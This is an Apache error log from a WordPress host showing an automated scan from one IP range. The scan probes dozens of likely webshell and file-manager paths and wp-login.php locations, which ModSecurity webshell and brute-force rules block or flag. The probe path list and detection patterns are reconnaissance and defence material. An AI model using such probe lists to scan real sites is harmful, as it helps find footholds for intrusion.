[Mon Nov 24 01:20:13.337911 2025] [:error] [pid 1589:tid 1613] [client 212.30.33.153:47973] [client 212.30.33.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSNCTYI2fvripjU0Eat6ZQAAAVY"]
[Mon Nov 24 01:20:19.304925 2025] [:error] [pid 1453:tid 1496] [client 212.30.33.146:63535] [client 212.30.33.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSNCUxUBCt7LU0bO_GBMvwAAAIs"]
[Mon Nov 24 01:20:27.972321 2025] [:error] [pid 1589:tid 1601] [client 212.30.33.157:61451] [client 212.30.33.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSNCW4I2fvripjU0Eat6egAAAUo"]
[Mon Nov 24 01:20:29.734908 2025] [:error] [pid 1589:tid 1592] [client 212.30.33.120:60435] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-mail.php
[Mon Nov 24 01:20:31.793934 2025] [:error] [pid 1589:tid 1614] [client 212.30.33.120:60435] [client 212.30.33.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSNCX4I2fvripjU0Eat6gAAAAVc"]
[Mon Nov 24 01:20:35.109312 2025] [:error] [pid 1452:tid 1457] [client 212.30.33.137:30609] File does not exist: /usr/local/apache/htdocs/suspended-page/admin-post.php
[Mon Nov 24 01:20:35.804133 2025] [:error] [pid 1452:tid 1459] [client 212.30.33.137:30609] File does not exist: /usr/local/apache/htdocs/suspended-page/conf_upload.php
[Mon Nov 24 01:20:36.305982 2025] [:error] [pid 1452:tid 1480] [client 212.30.33.137:30609] [client 212.30.33.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSNCZBKZkEEyVNVXr_nEmgAAAFc"]
[Mon Nov 24 01:20:40.437245 2025] [:error] [pid 8337:tid 8342] [client 212.30.33.165:31225] [client 212.30.33.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSNCaOSmps4S2j95D5h4PwAAAAM"]
[Mon Nov 24 01:20:41.479836 2025] [:error] [pid 1589:tid 1613] [client 212.30.33.159:40033] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-configs.php
[Mon Nov 24 01:20:42.719160 2025] [:error] [pid 1589:tid 1612] [client 212.30.33.159:40033] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/license.php
[Mon Nov 24 01:20:44.700268 2025] [:error] [pid 1589:tid 1597] [client 212.30.33.159:40033] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Mon Nov 24 01:20:45.275469 2025] [:error] [pid 1589:tid 1610] [client 212.30.33.159:40033] [client 212.30.33.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aSNCbYI2fvripjU0Eat6kwAAAVM"]
[Mon Nov 24 01:20:46.707178 2025] [:error] [pid 8337:tid 8353] [client 212.30.33.159:31831] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Mon Nov 24 01:20:49.125362 2025] [:error] [pid 8337:tid 8356] [client 212.30.33.159:31831] File does not exist: /usr/local/apache/htdocs/suspended-page/files.php
[Mon Nov 24 01:20:49.619976 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.159:31831] File does not exist: /usr/local/apache/htdocs/suspended-page/webadmin.php
[Mon Nov 24 01:20:52.110401 2025] [:error] [pid 8337:tid 8360] [client 212.30.33.159:31831] File does not exist: /usr/local/apache/htdocs/suspended-page/wsa.php
[Mon Nov 24 01:20:52.615347 2025] [:error] [pid 8337:tid 8351] [client 212.30.33.159:31831] File does not exist: /usr/local/apache/htdocs/suspended-page/tinyfilemanager.php
[Mon Nov 24 01:20:55.522387 2025] [:error] [pid 8337:tid 8361] [client 212.30.33.159:31831] File does not exist: /usr/local/apache/htdocs/suspended-page/woh.php
[Mon Nov 24 01:20:56.033008 2025] [:error] [pid 8337:tid 8347] [client 212.30.33.159:31831] [client 212.30.33.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aSNCeOSmps4S2j95D5h4YwAAAAg"]
[Mon Nov 24 01:20:58.474083 2025] [:error] [pid 1454:tid 1529] [client 212.30.33.154:46335] [client 212.30.33.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSNCereh4NH3skJ5n4RzeQAAANE"]
[Mon Nov 24 01:20:59.448678 2025] [:error] [pid 1589:tid 1604] [client 212.30.33.160:57101] File does not exist: /usr/local/apache/htdocs/suspended-page/bless.php
[Mon Nov 24 01:20:59.954643 2025] [:error] [pid 1589:tid 1604] [client 212.30.33.160:57101] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Mon Nov 24 01:21:01.151536 2025] [:error] [pid 1589:tid 1612] [client 212.30.33.160:57101] File does not exist: /usr/local/apache/htdocs/suspended-page/info.php
[Mon Nov 24 01:21:01.659705 2025] [:error] [pid 1589:tid 1596] [client 212.30.33.160:57101] [client 212.30.33.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aSNCfYI2fvripjU0Eat6qQAAAUU"]
[Mon Nov 24 01:21:04.893452 2025] [:error] [pid 1452:tid 1471] [client 212.30.33.138:29763] [client 212.30.33.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSNCgBKZkEEyVNVXr_nErAAAAE4"]
[Mon Nov 24 01:21:06.079138 2025] [:error] [pid 1454:tid 1523] [client 212.30.33.185:38955] File does not exist: /usr/local/apache/htdocs/suspended-page/buy.php
[Mon Nov 24 01:21:07.002692 2025] [:error] [pid 1454:tid 1528] [client 212.30.33.185:38955] [client 212.30.33.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aSNCg7eh4NH3skJ5n4RzggAAANA"]
[Mon Nov 24 01:21:10.032505 2025] [:error] [pid 1454:tid 1531] [client 212.30.33.167:25521] File does not exist: /usr/local/apache/htdocs/suspended-page/readme.php
[Mon Nov 24 01:21:10.477349 2025] [:error] [pid 1454:tid 1513] [client 212.30.33.167:25521] File does not exist: /usr/local/apache/htdocs/suspended-page/sck.php
[Mon Nov 24 01:21:11.771056 2025] [:error] [pid 1454:tid 1535] [client 212.30.33.167:25521] File does not exist: /usr/local/apache/htdocs/suspended-page/fm.php
[Mon Nov 24 01:21:12.764933 2025] [:error] [pid 1454:tid 1533] [client 212.30.33.167:25521] File does not exist: /usr/local/apache/htdocs/suspended-page/packed.php
[Mon Nov 24 01:21:14.335522 2025] [:error] [pid 1454:tid 1527] [client 212.30.33.167:25521] File does not exist: /usr/local/apache/htdocs/suspended-page/about.php
[Mon Nov 24 01:21:14.905770 2025] [:error] [pid 1454:tid 1512] [client 212.30.33.167:25521] [client 212.30.33.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSNCireh4NH3skJ5n4RzjQAAAMA"]
[Mon Nov 24 01:21:17.920450 2025] [:error] [pid 1589:tid 1596] [client 212.30.33.106:37445] [client 212.30.33.106] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.106, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSNCjYI2fvripjU0Eat6swAAAUU"]
[Mon Nov 24 01:21:18.617399 2025] [:error] [pid 1589:tid 1602] [client 212.30.33.106:37445] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin.php
[Mon Nov 24 01:21:19.083053 2025] [:error] [pid 1589:tid 1608] [client 212.30.33.106:37445] [client 212.30.33.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSNCj4I2fvripjU0Eat6tQAAAVE"]
[Mon Nov 24 01:21:21.761239 2025] [:error] [pid 1454:tid 1530] [client 212.30.33.116:53557] [client 212.30.33.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSNCkbeh4NH3skJ5n4RzkQAAANI"]
[Mon Nov 24 01:21:23.412910 2025] [:error] [pid 1453:tid 1492] [client 212.30.33.135:42953] File does not exist: /usr/local/apache/htdocs/suspended-page/chosen.php
[Mon Nov 24 01:21:24.046157 2025] [:error] [pid 1453:tid 1507] [client 212.30.33.135:42953] File does not exist: /usr/local/apache/htdocs/suspended-page/load.php
[Mon Nov 24 01:21:25.489886 2025] [:error] [pid 1453:tid 1500] [client 212.30.33.135:42953] [client 212.30.33.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aSNClRUBCt7LU0bO_GBM_gAAAI8"]
[Mon Nov 24 01:21:26.528518 2025] [:error] [pid 1453:tid 1496] [client 212.30.33.111:27927] File does not exist: /usr/local/apache/htdocs/suspended-page/edit-tags.php
[Mon Nov 24 01:21:27.310728 2025] [:error] [pid 1453:tid 1497] [client 212.30.33.111:27927] [client 212.30.33.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSNClxUBCt7LU0bO_GBNBAAAAIw"]
[Mon Nov 24 01:21:30.677592 2025] [:error] [pid 8337:tid 8363] [client 212.30.33.121:22241] File does not exist: /usr/local/apache/htdocs/suspended-page/autoload_classmap.php
[Mon Nov 24 01:21:31.529227 2025] [:error] [pid 8337:tid 8362] [client 212.30.33.121:22241] File does not exist: /usr/local/apache/htdocs/suspended-page/lock.php
[Mon Nov 24 01:21:32.362299 2025] [:error] [pid 8337:tid 8349] [client 212.30.33.121:22241] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/cloud.php
[Mon Nov 24 01:21:36.751241 2025] [:error] [pid 8337:tid 8359] [client 212.30.33.121:22241] File does not exist: /usr/local/apache/htdocs/suspended-page/product.php
[Mon Nov 24 01:21:37.362885 2025] [:error] [pid 8337:tid 8345] [client 212.30.33.121:22241] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/class_api.php
[Mon Nov 24 01:21:39.821803 2025] [:error] [pid 8337:tid 8353] [client 212.30.33.121:22241] [client 212.30.33.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSNCo-Smps4S2j95D5h4nQAAAA4"]
[Mon Nov 24 01:21:45.689866 2025] [:error] [pid 8337:tid 8357] [client 212.30.33.167:50063] File does not exist: /usr/local/apache/htdocs/suspended-page/base.php
[Mon Nov 24 01:21:46.762375 2025] [:error] [pid 8337:tid 8350] [client 212.30.33.167:50063] File does not exist: /usr/local/apache/htdocs/suspended-page/zero.php
[Mon Nov 24 01:21:47.338762 2025] [:error] [pid 8337:tid 8363] [client 212.30.33.167:50063] [client 212.30.33.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aSNCq-Smps4S2j95D5h4rAAAABg"]
[Mon Nov 24 01:21:49.426051 2025] [:error] [pid 1589:tid 1612] [client 212.30.33.157:28615] File does not exist: /usr/local/apache/htdocs/suspended-page/style.php
[Mon Nov 24 01:21:51.421379 2025] [:error] [pid 1589:tid 1605] [client 212.30.33.157:28615] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Mon Nov 24 01:21:51.927381 2025] [:error] [pid 1589:tid 1603] [client 212.30.33.157:28615] [client 212.30.33.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.157, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSNCr4I2fvripjU0Eat6zwAAAUw"]
[Mon Nov 24 01:21:51.931246 2025] [:error] [pid 1589:tid 1603] [client 212.30.33.157:28615] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php
[Mon Nov 24 01:21:53.586117 2025] [:error] [pid 1589:tid 1608] [client 212.30.33.157:28615] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-set.php
[Mon Nov 24 01:21:54.030319 2025] [:error] [pid 1589:tid 1601] [client 212.30.33.157:28615] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Mon Nov 24 01:21:55.894910 2025] [:error] [pid 1589:tid 1607] [client 212.30.33.157:28615] [client 212.30.33.157] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aSNCs4I2fvripjU0Eat61QAAAVA"]
[Mon Nov 24 01:21:57.027877 2025] [:error] [pid 8337:tid 8357] [client 212.30.33.118:32147] [client 212.30.33.118] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.118, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aSNCteSmps4S2j95D5h4sAAAABI"]
[Mon Nov 24 01:21:57.632627 2025] [:error] [pid 8337:tid 8343] [client 212.30.33.118:32147] [client 212.30.33.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aSNCteSmps4S2j95D5h4sQAAAAQ"]
[Mon Nov 24 01:22:03.499180 2025] [:error] [pid 1453:tid 1486] [client 212.30.33.120:47499] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php
[Mon Nov 24 01:22:06.224651 2025] [:error] [pid 1453:tid 1497] [client 212.30.33.120:47499] [client 212.30.33.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSNCvhUBCt7LU0bO_GBNMwAAAIw"]
[Mon Nov 24 01:22:09.107132 2025] [:error] [pid 8337:tid 8343] [client 212.30.33.167:56965] File does not exist: /usr/local/apache/htdocs/suspended-page/moon.php
[Mon Nov 24 01:22:11.290098 2025] [:error] [pid 8337:tid 8351] [client 212.30.33.167:56965] [client 212.30.33.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSNCw-Smps4S2j95D5h4xQAAAAw"]
[Mon Nov 24 01:22:12.892106 2025] [:error] [pid 1452:tid 1459] [client 212.30.33.144:32541] [client 212.30.33.144] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.144, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aSNCxBKZkEEyVNVXr_nEzgAAAEI"]
[Mon Nov 24 01:22:14.585093 2025] [:error] [pid 1452:tid 1460] [client 212.30.33.144:32541] File does not exist: /usr/local/apache/htdocs/suspended-page/pages.php
[Mon Nov 24 01:22:15.216809 2025] [:error] [pid 1452:tid 1463] [client 212.30.33.144:32541] File does not exist: /usr/local/apache/htdocs/suspended-page/bulk.php
[Mon Nov 24 01:22:15.844511 2025] [:error] [pid 1452:tid 1472] [client 212.30.33.144:32541] File does not exist: /usr/local/apache/htdocs/suspended-page/kk.php
[Mon Nov 24 01:22:20.117394 2025] [:error] [pid 1452:tid 1479] [client 212.30.33.144:32541] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-logout.php
[Mon Nov 24 01:22:21.495315 2025] [:error] [pid 1452:tid 1467] [client 212.30.33.144:32541] [client 212.30.33.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aSNCzRKZkEEyVNVXr_nE3QAAAEo"]
[Mon Nov 24 01:22:23.161299 2025] [:error] [pid 1453:tid 1487] [client 212.30.33.121:52063] [client 212.30.33.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aSNCzxUBCt7LU0bO_GBNPAAAAIM"]
[Mon Nov 24 01:22:25.831366 2025] [:error] [pid 1589:tid 1613] [client 212.30.33.146:25937] File does not exist: /usr/local/apache/htdocs/suspended-page/classwithtostring.php
[Mon Nov 24 01:22:26.322194 2025] [:error] [pid 1589:tid 1611] [client 212.30.33.146:25937] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-setup.php
[Mon Nov 24 01:22:28.039177 2025] [:error] [pid 1589:tid 1601] [client 212.30.33.146:25937] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-editor.php
[Mon Nov 24 01:22:28.677308 2025] [:error] [pid 1589:tid 1598] [client 212.30.33.146:25937] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-simple.php
[Mon Nov 24 01:22:30.423805 2025] [:error] [pid 1589:tid 1613] [client 212.30.33.146:25937] [client 212.30.33.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSNC1oI2fvripjU0Eat69AAAAVY"]
[Mon Nov 24 01:22:34.145602 2025] [:error] [pid 1589:tid 1597] [client 212.30.33.121:42283] [client 212.30.33.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSNC2oI2fvripjU0Eat6-gAAAUY"]
[Mon Nov 24 01:22:36.129817 2025] [:error] [pid 1589:tid 1599] [client 212.30.33.149:35321] [client 212.30.33.149] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aSNC3II2fvripjU0Eat7AwAAAUg"]
[Mon Nov 24 01:22:37.081757 2025] [:error] [pid 1589:tid 1592] [client 212.30.33.146:58381] File does not exist: /usr/local/apache/htdocs/suspended-page/hehehehe.php
[Mon Nov 24 01:22:39.597698 2025] [:error] [pid 1589:tid 1610] [client 212.30.33.146:58381] [client 212.30.33.146] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.30.33.146, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aSNC34I2fvripjU0Eat7DAAAAVM"]
[Mon Nov 24 01:22:40.186860 2025] [:error] [pid 1589:tid 1600] [client 212.30.33.146:58381] [client 212.30.33.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSNC4II2fvripjU0Eat7DQAAAUk"]
[Mon Nov 24 01:22:44.604345 2025] [:error] [pid 1453:tid 1486] [client 212.30.33.165:64851] File does not exist: /usr/local/apache/htdocs/suspended-page/header.php
[Mon Nov 24 01:22:45.240651 2025] [:error] [pid 1453:tid 1490] [client 212.30.33.165:64851] File does not exist: /usr/local/apache/htdocs/suspended-page/gecko.php
[Mon Nov 24 01:22:46.328831 2025] [:error] [pid 1453:tid 1505] [client 212.30.33.165:64851] [client 212.30.33.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSNC5hUBCt7LU0bO_GBNUAAAAJQ"]
[Mon Nov 24 01:22:47.568254 2025] [:error] [pid 8337:tid 8363] [client 212.30.33.168:32755] [client 212.30.33.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aSNC5-Smps4S2j95D5h46AAAABg"]
[Mon Nov 24 01:22:48.650971 2025] [:error] [pid 8337:tid 8353] [client 212.30.33.121:55207] File does not exist: /usr/local/apache/htdocs/suspended-page/bk.php
[Mon Nov 24 01:22:52.130169 2025] [:error] [pid 8337:tid 8351] [client 212.30.33.121:55207] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/moon.php
[Mon Nov 24 01:22:53.739351 2025] [:error] [pid 8337:tid 8358] [client 212.30.33.121:55207] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/dropdown.php
